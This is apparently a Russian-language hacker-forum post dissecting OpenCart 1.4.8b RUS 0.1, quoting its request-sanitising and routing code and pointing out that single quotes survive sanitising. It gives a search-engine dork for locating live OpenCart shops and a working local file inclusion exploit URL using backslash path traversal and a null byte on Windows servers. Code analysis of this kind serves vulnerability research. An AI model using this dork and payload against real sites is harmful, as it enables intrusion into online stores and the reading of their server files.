Версия:
OpenCart 1.4.8b RUS 0.1
Магазин: оф. сайт http://myopencart.ru/
В файле в корне
config.php интересны константы:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DRIVER'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_HOSTNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_USERNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PASSWORD'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DATABASE'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'opencart'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'oc_'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR]
Мб пригодитцо(читалка, блинд посимволу и т.д)
После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.
Некоторая логика(в файле
system/startup.php):
Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
подключения с
\engine(абстрактные и финальные класы!) и
\library(аналогично!)
Объект в этих подключаемых файлах не создаютцо.
Интересный файл
request.php:
в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.
Смотримс далее:
в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.
далее в index.php создаютцо обьекты...
Дорк:
intext:"Работает на: OpenCart"
Такс, хватит воды!
LFI (ось win)
system/library/request.php
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]final class[/COLOR][COLOR="#0000BB"]Request[/COLOR][COLOR="#007700"]{
public[/COLOR][COLOR="#0000BB"]$get[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$cookie[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$server[/COLOR][COLOR="#007700"]= array();
public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]() {
[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]server[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) {
if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"])) {
foreach ([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
unset([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"])] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]);
}
} else {
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]htmlspecialchars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ENT_COMPAT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'UTF-8'[/COLOR][COLOR="#007700"]);
}
return[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"];
}
}
[/COLOR][/COLOR]
index.php
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/
// Front Controller
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Front[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$registry[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]// Maintenance Mode
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/maintenance/check'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#FF8000"]// SEO URL's
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/seo_url'[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#FF8000"]// Router
[/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]]);
} else {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/home'[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#FF8000"]// Dispatch
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"], new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'error/not_found'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#FF8000"]// Output
[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"]();
[/COLOR][/COLOR]
system/engine/action.php
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/
[/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]= array()) {
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"]));
foreach ([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);
continue;
}
if ([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'Controller'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/[^a-zA-Z0-9]/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR]
system/engine/front.php
/
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]*...*/
public function[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"];
foreach ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pre_action[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"];
break;
}
}
while ([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]);
}
}
private function[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getFile[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getClass[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getMethod[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getArgs[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) {
require_once([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]registry[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]is_callable[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]))) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]call_user_func_array[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
} else {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
return[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"];
}
}[/COLOR][/COLOR]
Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.
Exploit:
http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00
Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.